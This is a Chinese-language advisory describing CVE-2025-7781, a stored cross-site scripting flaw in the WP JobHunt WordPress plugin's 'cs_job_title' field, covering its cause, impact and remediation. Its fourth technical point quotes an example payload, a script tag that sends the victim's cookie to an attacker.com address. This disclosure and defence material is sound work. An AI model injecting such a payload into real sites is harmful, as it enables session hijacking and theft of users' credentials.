CVE-2025-7781CVE-2025-7781是WordPress的WP JobHunt插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该插件是JobCareer求职主题的核心组件,广泛应用于各类招聘网站中。漏洞存在于所有7.6及以下版本中,由于插件对用户输入的'cs_job_title'参数缺乏充分的输入净化和输出转义处理,导致经过身份验证的攻击者可以将恶意JavaScript代码注入到网页中。当其他用户访问被注入的页面时,恶意脚本将在受害者浏览器中自动执行,可能导致会话劫持、敏感信息窃取、权限提升或恶意重定向等严重后果。该漏洞由Wordfence安全团队的研究员发现并报告,其CVSS 3.1评分为6.4分,属于中危级别漏洞。虽然漏洞利用需要Candidate级别及以上的认证权限,但由于存储型XSS的特殊性,一旦恶意脚本被存储,任何访问受影响页面的用户(包括管理员)都可能成为攻击目标,潜在危害不容忽视。建议所有使用该插件的网站管理员尽快检查并更新到安全版本,以消除安全隐患。
该漏洞的核心技术原理在于WP JobHunt插件在处理职位标题(cs_job_title)参数时,未对用户输入进行充分的HTML实体编码或标签过滤,导致攻击者可以注入任意HTML和JavaScript代码。具体技术细节如下:
1. **输入点**:插件的职位创建或编辑功能中,'cs_job_title'参数接收用户输入的职位名称。
2. **存储机制**:由于缺乏输入净化,恶意脚本被直接存储到数据库中。插件未使用WordPress标准的sanitize_text_field()、wp_kses()或esc_html()等安全函数对输入进行处理。
3. **输出缺陷**:在页面渲染时,插件直接将存储的数据输出到HTML页面中,未进行适当的输出转义(如esc_html()或esc_attr()),使得浏览器将恶意输入解析为可执行代码而非纯文本。
4. **利用方式**:攻击者通过Candidate级别账户登录后,在职位标题字段中注入类似`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`的恶意代码。当管理员或其他用户查看该职位列表或详情页时,脚本自动执行,可窃取cookie、会话令牌,或执行进一步的攻击行为。
5. **权限要求**:漏洞利用需要Candidate级别认证,但存储型XSS的危害会扩散到所有访问受影响页面的用户,特别是管理员用户,可能导致网站完全失陷。